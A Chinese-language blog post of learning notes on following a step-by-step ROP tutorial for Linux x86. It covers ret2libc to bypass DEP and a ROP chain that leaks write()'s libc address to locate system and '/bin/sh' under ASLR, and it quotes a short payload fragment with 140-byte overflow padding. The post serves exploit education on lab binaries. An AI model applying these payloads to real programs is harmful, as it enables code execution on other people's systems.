一步一步学ROP之linux_x86篇 – 蒸米(转载)

参考:http://www.vuln.cn/6645

下载地址:https://github.com/zhengmin1989/ROP_STEP_BY_STEP

这一系列文章很强很nice,对新人极其友好

由于个人在学习操作系统的安全防御与突破,所以打算再次编写shellcode突破

跟着文章进行操作,发现自己主机是64。。。是会出现问题的,或者gcc指定版本编译

1.如果用github下载的源码level1文件,前面操作没有问题,后面shell会失败

2.如果自己进行编译c文件,会发现内存根本没有出错

exp1.py 没有测试成功

二.尤其后面的突破dep和aslr对于新人极其友好

1.ret2libc

一种绕过dep的方法,根据具体的lib.so找地址

测试时需要根据自己主机修改system地址和/bin/sh地址

修改后的exp2.py是测试成功的

2.

rop

绕过alsr的方法,根据具体的函数地址不变找

exp3中:

其中有个 vulfun_addr = 0x08048404   个人猜是根据情况大体估计的一个地址

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

前面a*140是溢出,p32(1) 不清楚, p32(4)应该是ret占位

前面的这个是接受了返回的write地址,下面根据weite地址拿到system地址和/bin/sh地址

system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

exp3.py是测试成功的

2019.3.17

标签:

发表评论

电子邮件地址不会被公开。 必填项已用*标注